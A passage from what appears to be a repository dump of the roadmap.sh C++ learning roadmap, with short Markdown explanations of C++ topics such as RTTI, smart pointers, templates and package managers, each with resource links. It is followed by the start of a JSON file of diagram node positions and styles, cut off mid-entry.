    "content": "# Run-Time Type Identification (RTTI)\n\nRun-Time Type Identification (RTTI) in C++ allows you to determine the type of an object during program execution. This is particularly useful when working with polymorphism and inheritance. C++ provides two primary mechanisms for RTTI: the `typeid` operator, which retrieves type information, and the `dynamic_cast` operator, which safely converts pointers or references between types at runtime, handling potential casting failures gracefully. While powerful, be mindful that RTTI can introduce some performance overhead due to the runtime checks involved.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Runtime Type Identification (RTTI) in C++?](https://www.codeguru.com/cplusplus/what-is-runtime-type-identification-rtti-in-c/)\n- [@video@Dynamic cast c++ Runtime Type Identification example why we use dynamic cast - RTTI](https://www.youtube.com/watch?v=2PXN7Zk9v80)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/rule-of-zero-five-three@7sdEzZCIoarzznwO4XcCv.md",
    "content": "# Rule of Zero, Five, Three\n\nThe Rule of Zero, Three, and Five are guidelines for managing resources within C++ classes and structs. The Rule of Zero suggests letting the compiler handle resource management if your class doesn't explicitly manage any. If your class manages resources, pre-C++11 it adhered to the Rule of Three, requiring you to define a destructor, copy constructor, and copy assignment operator. Modern C++ with move semantics extends this to the Rule of Five, which adds a move constructor and move assignment operator to efficiently transfer ownership of resources.\n\nVisit the following resources to learn more:\n\n- [@article@The rule of three/five/zero](https://en.cppreference.com/w/cpp/language/rule_of_three.html)\n- [@article@The Rule of 0/3/5](https://medium.com/@Farhan11637/the-rule-of-0-3-5-2e608a717811)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/running-your-first-program@SEq0D2Zg5WTsIDtd1hW9f.md",
    "content": "# Running Your First Program\n\nThis involves configuring your system to compile and execute C++ code. You'll need a compiler (like GCC or Clang), an IDE or text editor for writing code, and potentially a build system to manage the compilation process. A basic \"Hello, World!\" program is typically used to verify the setup and demonstrate the fundamental syntax.\n\nVisit the following resources to learn more:\n\n- [@article@Get Started With C++](https://www.w3schools.com/cpp/cpp_getstarted.asp)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/scope@dKCYmxDNZubCVcR5rf8b-.md",
    "content": "# Scope\n\nScope in C++ defines the visibility and lifetime of variables, functions, and other identifiers within a program. It dictates where these entities can be accessed and how long they persist in memory. C++ employs several types of scope, including global scope (accessible program-wide), local scope (confined to a function or block), namespace scope (organized within named groups), and class scope (specific to class members). Understanding scope is vital for preventing naming conflicts and managing the lifespan of objects, thus contributing to cleaner and more maintainable code.\n\nVisit the following resources to learn more:\n\n- [@article@C++ Variable Scope](https://www.w3schools.com/cpp/cpp_scope.asp)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/setting-up-your-environment@Zc_TTzmM36yWsu3GvOy9x.md",
    "content": "# Setting up your Environment\n\nSetting up your environment in C++ involves configuring your computer with the necessary tools and software to write, compile, and run C++ programs. This typically includes installing a C++ compiler (like GCC or Clang), an integrated development environment (IDE) or text editor, and potentially a build system for managing larger projects. Proper setup is key to a smooth and efficient development workflow.\n\nVisit the following resources to learn more:\n\n- [@article@C++ Getting Started](https://www.w3schools.com/cpp/cpp_getstarted.asp)\n- [@video@How to set up C++ in Visual Studio Code](https://www.youtube.com/watch?v=DMWD7wfhgNY)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/sfinae@3C5UfejDX-1Z8ZF6C53xD.md",
    "content": "# SFINAE (Substitution Failure Is Not An Error)\n\nSFINAE is a core principle in C++ template metaprogramming that enables the compiler to choose the most suitable function or class template specialization during compilation. It leverages the idea that when the compiler attempts to substitute template arguments into a template and the substitution results in an invalid type or expression, this failure is not immediately treated as a compilation error. Instead, the compiler silently discards that specialization and continues searching for other viable options, thus allowing for conditional compilation based on type traits and other compile-time properties."
  },
  {
    "path": "src/data/roadmaps/cpp/content/shared_ptr@b5jZIZD_U_CPg-_bdndjz.md",
    "content": "# shared_ptr\n\n`shared_ptr` is a smart pointer in C++ that manages dynamically allocated memory. It enables multiple pointers to safely own and share the same object. When the last `shared_ptr` pointing to an object goes out of scope, the managed object is automatically deleted, preventing memory leaks. It achieves this by maintaining a reference count that tracks the number of `shared_ptr` instances pointing to the same memory location."
  },
  {
    "path": "src/data/roadmaps/cpp/content/smart-pointers@ulvwm4rRPgkpgaqGgyH5a.md",
    "content": "# Smart Pointers\n\nSmart pointers are classes that behave like regular pointers but provide automatic memory management. They help prevent memory leaks by automatically deallocating the memory they point to when they are no longer needed. This is achieved through techniques like reference counting and RAII (Resource Acquisition Is Initialization). Essentially, they encapsulate a raw pointer and ensure that the memory it points to is freed when the smart pointer goes out of scope or is reset.\n\nVisit the following resources to learn more:\n\n- [@article@Smart Pointers](https://en.cppreference.com/book/intro/smart_pointers)\n- [@video@SMART POINTERS in C++ (std::unique_ptr, std::shared_ptr, std::weak_ptr)](https://www.youtube.com/watch?v=UOB7-B2MfwA)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/spack@3ehBc2sKVlPj7dn4RVZCH.md",
    "content": "# Spack\n\nSpack is a package manager designed for flexibility and support for multiple versions, configurations, platforms, and compilers, making it especially useful in High Performance Computing (HPC) environments. It automates the process of installing and managing dependencies, enabling users to build complex software stacks with fine-grained control over their components. Spack supports a variety of platforms, including Linux, macOS, and supercomputers, along with compilers like GCC, Clang, and Intel. Its key features include multi-version support, compiler support, platform support, and automatic dependency management.\n\nVisit the following resources to learn more:\n\n- [@official@Spack](https://spack.io/)\n- [@opensource@spack](https://github.com/spack/spack)\n- [@video@Tutorials 2025: Spack, Part 1 (Basics, Environments, Configuration)](https://www.youtube.com/watch?v=Uoi3-_xMPtk)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/spdlog@q64qFxoCrR38RPsN2lC8x.md",
    "content": "# spdlog\n\nspdlog is a fast and cross-platform C++ logging library. It provides a simple interface for writing log messages to different destinations such as the console, files, or custom sinks. It supports various log levels, formatting options, and asynchronous logging, making it suitable for projects that require efficient and flexible logging capabilities.\n\nVisit the following resources to learn more:\n\n- [@opensource@spdlog](https://github.com/gabime/spdlog)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/standard-library--stl@DHdNBP7_ixjr6h-dIQ7g6.md",
    "content": "# C++ Standard Library and STL\n\nThe C++ Standard Library is a comprehensive collection of classes and functions, extending the core language with ready-to-use tools for common programming tasks. A crucial part of the Standard Library is the Standard Template Library (STL), which offers pre-built, templatized components like containers (vectors, lists, maps), algorithms (sorting, searching), and iterators to work with those containers. The STL promotes code reuse and efficiency by providing generic implementations that can work with various data types, saving developers significant time and effort.\n\nVisit the following resources to learn more:\n\n- [@book@Mastering STL in C++23: New Features, Updates, and Best Practices](https://simplifycpp.org/books/Mastering_STL.pdf)\n- [@video@C++ Standard Template Library (STL) Short Overview](https://www.youtube.com/watch?v=Id6ZEb_Lg58)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/standards@vvE1aUsWbF1OFcmMUHbJa.md",
    "content": "# C++ Standards\n\nC++ standards are sets of rules and guidelines that define the C++ programming language. These standards ensure consistency and portability across different compilers and platforms. Each standard introduces new features, improvements, and sometimes deprecates older functionalities. The current standard is C++23."
  },
  {
    "path": "src/data/roadmaps/cpp/content/static-polymorphism@obZIxRp0eMWdG7gplNIBc.md",
    "content": "# Static Polymorphism\n\nStatic polymorphism, also known as compile-time polymorphism, enables the execution of different code depending on the type of data it's handling, but this determination happens at compile time. In C++, static polymorphism is primarily achieved through function overloading, which allows defining multiple functions with the same name but different parameter lists, and templates, which facilitate writing generic functions and classes that operate on various data types without runtime overhead.\n\nVisit the following resources to learn more:\n\n- [@article@Static Polymorphism in C++](https://medium.com/@kateolenya/static-polymorphism-in-c-9e1ae27a945b)\n- [@video@Advanced C++: Static Polymorphism](https://www.youtube.com/watch?v=-WV9vWjhI3g)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/static-typing@f1djN0GxoeVPr_0cl6vMq.md",
    "content": "# Static Typing\n\nStatic typing, as implemented in C++, is a system where the data type of a variable is known and checked at compile time, before the program runs. This means each variable is declared with a specific type (like `int`, `double`, or `char`), and the compiler enforces that only values of that type are assigned to it. While C++ allows for type conversion, attempting to assign an incompatible type will result in either an implicit conversion (if possible) or a compilation error, ensuring type safety and helping catch errors early in the development process.\n\nVisit the following resources to learn more:\n\n- [@article@Type-Coversion](https://www.programiz.com/cpp-programming/type-conversion)\n- [@article@Static Vs Dynamic](https://www.techtarget.com/searchapparchitecture/tip/Static-vs-dynamic-typing-The-details-and-differences)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/static_cast@_XB2Imyf23-6AOeoNLhYQ.md",
    "content": "# static_cast\n\n`static_cast` is a C++ casting operator primarily used for performing conversions between related types at compile time. This includes converting between primitive data types like `int` and `float`, and upcasting or downcasting within inheritance hierarchies. It offers a level of type safety over C-style casts by performing checks to ensure the conversion is valid, preventing potentially unsafe reinterpretation of data and allowing for more predictable behavior."
  },
  {
    "path": "src/data/roadmaps/cpp/content/structures-and-classes@CMlWNQwpywNhO9B6Yj6Me.md",
    "content": "# Structures and Classes\n\nStructures and classes in C++ are blueprints for creating user-defined data types. They allow you to group variables (members) of different data types under a single name, enabling you to represent complex entities. The key distinction lies in their default access control: structure members are public by default, while class members are private, influencing how their data is accessed and manipulated.\n\nVisit the following resources to learn more:\n\n- [@article@Clases y structs (C++)](https://learn.microsoft.com/es-es/cpp/cpp/classes-and-structs-cpp?view=msvc-170)\n- [@video@CLASSES vs STRUCTS in C++](https://www.youtube.com/watch?v=fLgTtaqqJp0)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/structuring-codebase@Zw2AOTK5uc9BoKEpY7W1C.md",
    "content": "# Structuring Codebase\n\nStructuring your codebase involves organizing and modularizing code for better maintainability, efficiency, and readability. This enhances collaboration, simplifies feature addition, and accelerates debugging. In C++, techniques like namespaces, include guards, header/source file separation, and consistent code formatting are vital for effective codebase structure."
  },
  {
    "path": "src/data/roadmaps/cpp/content/template-specialization@sObOuccY0PDeGG-9GrFDF.md",
    "content": "# Template Specialization\n\nTemplate specialization in C++ allows you to provide custom implementations of templates for specific types or type patterns. This becomes useful when the generic template implementation doesn't suit a particular type, requiring tailored logic for optimization or specific behavior. Template specialization comes in two primary forms: full specialization, where a completely new implementation is defined for a specific type, and partial specialization, where a more specialized implementation is provided for a subset of types matching a given pattern."
  },
  {
    "path": "src/data/roadmaps/cpp/content/templates@-6AOrbuOE7DJCmxlcgCay.md",
    "content": "# C++ Templates\n\nC++ Templates provide a way to write generic code by allowing functions and classes to operate with different data types without being rewritten for each type. This is achieved by using type parameters or placeholders that are later replaced with actual data types when the template is instantiated, promoting code reuse and flexibility. Templates can be specialized to provide custom behavior for specific data types.\n\nVisit the following resources to learn more:\n\n- [@article@Templates](https://en.cppreference.com/w/cpp/language/templates.html)\n- [@article@C++ Templates](https://www.w3schools.com/cpp/cpp_templates.asp)\n- [@video@Templates in C++](https://www.youtube.com/watch?v=I-hZkUa9mIs)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/tensorflow@j_eNHhs0J08Dt7HVbo4Q2.md",
    "content": "# Tensorflow\n\nTensorFlow is an open-source software library developed by Google, primarily used for numerical computation and large-scale machine learning. It allows developers to create and train machine learning models using a variety of tools, libraries, and community resources. TensorFlow focuses on deep learning tasks like image recognition, natural language processing, and time series analysis.\n\nVisit the following resources to learn more:\n\n- [@opensource@Tensor Flow](https://github.com/tensorflow/tensorflow)\n- [@article@How to Deploy Tensorflow Models in C++ in 3 different ways](https://towardsdatascience.com/how-to-deploy-tensorflow-models-in-c-in-3-different-ways-f7e25046be29/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@TensorFlow in 100 Seconds](https://www.youtube.com/watch?v=i8NETqtGHms)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/type-casting@PiMhw1oP9-NZEa6I9u4lX.md",
    "content": "# Type Casting\n\nType casting in C++ involves converting a variable's data type to another. C++ provides several casting methods: C-style casting (inherited from C), `static_cast` (for explicit conversions at compile time), `dynamic_cast` (for safe downcasting in class hierarchies), `reinterpret_cast` (for low-level bitwise reinterpretation), and `const_cast` (to modify the constness of variables). Choosing the appropriate cast is crucial for safe and efficient code execution.\n\nVisit the following resources to learn more:\n\n- [@article@Type Casting](https://www.w3schools.com/cpp//cpp_type_casting.asp)\n- [@video@Casting in C++](https://youtu.be/pWZS1MtxI-A)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/type-traits@WptReUOwVth3C9-AVmMHF.md",
    "content": "# Type Traits\n\nType traits in C++ are a powerful set of tools, implemented as template classes, found in the `<type_traits>` header. They provide a mechanism to inspect and query the properties of types at compile time, such as whether a type is a pointer, arithmetic type, or function. This allows you to write generic code that adapts its behavior based on the characteristics of the types it's working with, enabling compile-time branching and more robust template metaprogramming."
  },
  {
    "path": "src/data/roadmaps/cpp/content/undefined-behavior-ub@IDOlquv6jlfecwQoBwkGZ.md",
    "content": "# Undefined Behavior (UB)\n\nUndefined behavior in C++ arises when a program violates the rules defined by the C++ standard, leading to unpredictable and unspecified outcomes. This can stem from actions such as accessing uninitialized variables, dereferencing null pointers, performing out-of-bounds memory access, or dividing by zero. The compiler is free to interpret such situations in any manner, potentially resulting in crashes, incorrect results, or even security vulnerabilities, making its avoidance a critical aspect of writing robust and reliable C++ code.\n\nVisit the following resources to learn more:\n\n- [@article@Undefined Behavior (UB)](https://en.cppreference.com/w/cpp/language/ub.html)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/understanding-debugger-messages@VtPb8-AJKzhTB0QbMtoU4.md",
    "content": "# Understanding Debugger Messages\n\nDebugger messages are notifications from a debugger that aid in identifying issues within C++ code. These messages manifest as warnings, errors, or informational outputs, offering insight into the program's state and specific problems encountered during debugging. Error messages flag code issues preventing compilation or execution, while warnings highlight potential problems. Informational messages provide general information about the program's execution, such as breakpoints, watchpoints, variable values, and the call stack."
  },
  {
    "path": "src/data/roadmaps/cpp/content/unique_ptr@k9c5seRkhgm_yHPpiz2X0.md",
    "content": "# unique_ptr\n\n`unique_ptr` is a smart pointer in C++ that provides exclusive ownership of a dynamically allocated object. It ensures that only one `unique_ptr` can point to a given object at any time, preventing memory leaks by automatically deleting the managed object when the `unique_ptr` goes out of scope or is explicitly reset. Ownership can be transferred to another `unique_ptr` using `std::move`, but copying is disallowed to enforce the single-ownership principle.\n\nVisit the following resources to learn more:\n\n- [@official@std::unique_ptr - Detailed Reference](https://en.cppreference.com/w/cpp/memory/unique_ptr)\n- [@article@Smart Pointers – unique_ptr](https://www.learncpp.com/cpp-tutorial/stdunique_ptr/)\n- [@video@When should you use std::unique_ptr? - StackOverflow Discussion](https://stackoverflow.com/questions/13782051/when-should-you-use-stdunique-ptr)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/variadic-templates@w4EIf58KP-Pq-yc0HlGxc.md",
    "content": "# Variadic Templates\n\nVariadic templates, introduced in C++11, provide a way to create templates that can accept a variable number of arguments. Using the ellipsis (`...`) notation, you can define parameter packs that represent zero or more arguments of potentially different types. This allows for the creation of functions and classes that can operate on varying numbers of inputs, enhancing code flexibility and reusability, as demonstrated by use cases such as summing multiple arguments or creating tuple-like structures."
  },
  {
    "path": "src/data/roadmaps/cpp/content/vcpkg@PKG5pACLfRS2ogfzBX47_.md",
    "content": "# vcpkg\n\n`vcpkg` is an open-source, cross-platform package manager for C and C++ libraries that simplifies the acquisition and building of dependencies. Supporting Windows, Linux, and macOS, it streamlines the integration of external libraries into your projects through search, installation, and removal commands. It also offers integration with Visual Studio for Windows-based development, making dependency management more efficient.\n\nVisit the following resources to learn more:\n\n- [@official@vcpkg Docs](https://learn.microsoft.com/en-gb/vcpkg/)\n- [@video@vcpkg Crash Course | Visual Studio 2022 | C++ libraries simplified!](https://www.youtube.com/watch?v=0h1lC3QHLHU)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/virtual-methods@hNBErGNiegLsUJn_vgcOR.md",
    "content": "# Virtual Methods\n\nVirtual methods are the cornerstone of dynamic polymorphism in C++ classes. They enable a derived class to provide its own specific implementation of a function that is already defined in a base class. When you call a virtual function through a base class pointer or reference, the runtime determines which version of the function to execute based on the actual type of the object being pointed to, not the type of the pointer or reference itself. This mechanism, known as dynamic dispatch, allows for flexible and extensible code where behavior can be tailored at runtime.\n\nVisit the following resources to learn more:\n\n- [@official@C++ Virtual Functions Documentation](https://en.cppreference.com/w/cpp/language/virtual)\n- [@video@Virtual Functions Explained (YouTube)](https://www.youtube.com/watch?v=oIV2KchSyGQ&ab_channel=TheCherno)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/virtual-tables@s99ImazcwCgAESxZd8ksa.md",
    "content": "# Virtual Tables\n\nVirtual tables (vtables) are compiler-generated lookup tables used in C++ to implement dynamic polymorphism, especially with virtual functions. Each class that declares or inherits virtual functions has a vtable, which contains pointers to the most derived versions of those virtual functions for that class. When a virtual function is called through a pointer or reference to a base class, the vtable is consulted at runtime to determine the actual function to execute based on the object's dynamic type.\n\nVisit the following resources to learn more:\n\n- [@article@Understandig Virtual Tables in C++](https://pabloariasal.github.io/2017/06/10/understanding-virtual-tables/)\n- [@video@Classes part 18 - Understanding the vtable (Popular interview question) | Modern Cpp Series Ep. 54](https://www.youtube.com/watch?v=hS7kPtVB1vI)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/weak_ptr@vUwSS-uX36OWZouO0wOcy.md",
    "content": "# weak_ptr\n\n`weak_ptr` is a smart pointer in C++ that holds a non-owning reference to an object managed by a `shared_ptr`. It doesn't participate in the object's ownership count, meaning that it doesn't prevent the object from being destroyed if the `shared_ptr`s owning the object go out of scope. Its primary use is to detect if the object managed by the `shared_ptr` still exists. You can obtain a `shared_ptr` from a `weak_ptr` using `lock()`, but this might return an empty `shared_ptr` if the object has already been destroyed."
  },
  {
    "path": "src/data/roadmaps/cpp/content/what-is-c@x_28LiDVshqWns_aIBsdx.md",
    "content": "# What is C++?\n\nC++ is a powerful, general-purpose programming language. It is an extension of the C language, adding features like object-oriented programming, which allows you to structure code into reusable components. C++ is known for its high performance, efficiency, and control over system resources, making it suitable for a wide range of applications, including game development, operating systems, and high-performance computing.\n\nVisit the following resources to learn more:\n\n- [@article@Learn C++](https://www.learncpp.com/)\n- [@video@C++ Tutorial for Beginners - Full Course](https://youtu.be/vLnPwxZdW4Y)\n- [@feed@Explore top posts about C++](https://app.daily.dev/tags/c++?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/why-use-c@tl6VCQ5IEGDVyFcgj7jDm.md",
    "content": "# Why Use C++\n\nC++ is a powerful, general-purpose programming language known for its performance and control over system resources. It combines high-level and low-level features, allowing developers to write efficient code for a wide range of applications. This includes operating systems, game development, embedded systems, high-performance computing, and more."
  },
  {
    "path": "src/data/roadmaps/cpp/content/windbg@y8VCbGDUco9bzGRfIBD8R.md",
    "content": "# WinDbg\n\nWinDbg, a debugger included in the Microsoft Windows SDK, is a powerful tool for analyzing and debugging Windows applications, both in user mode and kernel mode. It offers a graphical interface and a comprehensive set of features for tasks like analyzing crash dumps, setting breakpoints, and stepping through code execution to identify and resolve issues in your C++ programs. Familiarity with WinDbg enables developers to delve deep into the runtime behavior of their applications and pinpoint the root cause of bugs.\n\nVisit the following resources to learn more:\n\n- [@video@Debugging C/C++ Programs from Scratch with WinDbg: A Beginner's Guide](https://www.youtube.com/watch?v=AgtgZDsADUI)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/working-with-libraries@4kkX5g_-plX9zVqr0ZoiR.md",
    "content": "# Working with Libraries\n\nLibraries in C++ are collections of pre-written code designed to be reused in different programs, offering functionalities like specialized algorithms, data structures, or system interfaces. These libraries come in two main types: static libraries, which are linked directly into your executable at compile time, and dynamic libraries, which are loaded at runtime. Utilizing libraries involves including their header files in your source code and linking them during compilation, allowing you to extend the capabilities of your C++ programs without rewriting common functionalities from scratch."
  },
  {
    "path": "src/data/roadmaps/cpp/cpp.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"b5EyLVAnEsPBiwy2dMr6F\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 132.993752405053,\n        \"y\": 2903.0129376580285\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 128,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 128,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 132.993752405053,\n        \"y\": 2903.0129376580285\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 128,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"I1aDakZmYpe7pKczou0qC\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 258.0179751445827,\n        \"y\": 2688.244194339027\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 196,\n      \"height\": 278,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 278\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 258.0179751445827,\n        \"y\": 2688.244194339027\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 278\n      }\n    },\n    {\n      \"id\": \"goX6oPqweGg7J9yXJjDsR\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 441.5179751445827,\n        \"y\": 2530.0128020469147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 92,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 92,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 441.5179751445827,\n        \"y\": 2530.0128020469147\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 92,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"iisl6B61awdQDJVGaBqtI\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 532.5179751445827,\n        \"y\": 2381.244194339027\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 240,\n      \"height\": 385,\n      \"style\": {\n        \"width\": 240,\n        \"height\": 385\n      },\n      \"positionAbsolute\": {\n        \"x\": 532.5179751445827,\n        \"y\": 2381.244194339027\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 385\n      }\n    },\n    {\n      \"id\": \"SNEm8ibYyywxb0prHdlMA\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 118.26444711909286,\n        \"y\": 2545.23808936492\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"REVHzbbcSWfylibdGZG5A\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 86,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 86\n      },\n      \"positionAbsolute\": {\n        \"x\": 118.26444711909286,\n        \"y\": 2545.23808936492\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 86\n      }\n    },\n    {\n      \"id\": \"REVHzbbcSWfylibdGZG5A\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 12.144083619869434,\n        \"y\": 2545.23808936492\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 86,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 86\n      },\n      \"positionAbsolute\": {\n        \"x\": 12.144083619869434,\n        \"y\": 2545.23808936492\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 86\n      }\n    },\n    {\n      \"id\": \"Tm2kjpCnwZhAw0vwqn_PK\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -31.733089516576577,\n        \"y\": 2235.2284032315606\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 186,\n      \"height\": 212,\n      \"style\": {\n        \"width\": 186,\n        \"height\": 212\n      },\n      \"positionAbsolute\": {\n        \"x\": -31.733089516576577,\n        \"y\": 2235.2284032315606\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 212\n      }\n    },\n    {\n      \"id\": \"_sUz-qKSggnUjAO281ROC\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -233.429978402122,\n        \"y\": 1962.677896706502\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 97,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 97\n      },\n      \"positionAbsolute\": {\n        \"x\": -233.429978402122,\n        \"y\": 1962.677896706502\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 97\n      }\n    },\n    {\n      \"id\": \"wGg3UBe3OqaXWxPxYiBQz\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 594.833180361922,\n        \"y\": 1673.789165472234\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 103,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 103\n      },\n      \"positionAbsolute\": {\n        \"x\": 594.833180361922,\n        \"y\": 1673.789165472234\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 103\n      }\n    },\n    {\n      \"id\": \"3SsQBuq6ie73yAMvRcqtR\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 466.39833855329164,\n        \"y\": 1470.7730008603658\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 303,\n      \"height\": 174,\n      \"style\": {\n        \"width\": 303,\n        \"height\": 174\n      },\n      \"positionAbsolute\": {\n        \"x\": 466.39833855329164,\n        \"y\": 1470.7730008603658\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 174\n      }\n    },\n    {\n      \"id\": \"ra0ZEvbILayGotRDlRwjF\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 309.993752405053,\n        \"y\": 1671.789165472234\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 107,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 107\n      },\n      \"positionAbsolute\": {\n        \"x\": 309.993752405053,\n        \"y\": 1671.789165472234\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 107\n      }\n    },\n    {\n      \"id\": \"XUHjmFhEsTjGRLlmDgl_w\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 159.993752405053,\n        \"y\": 1671.789165472234\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": 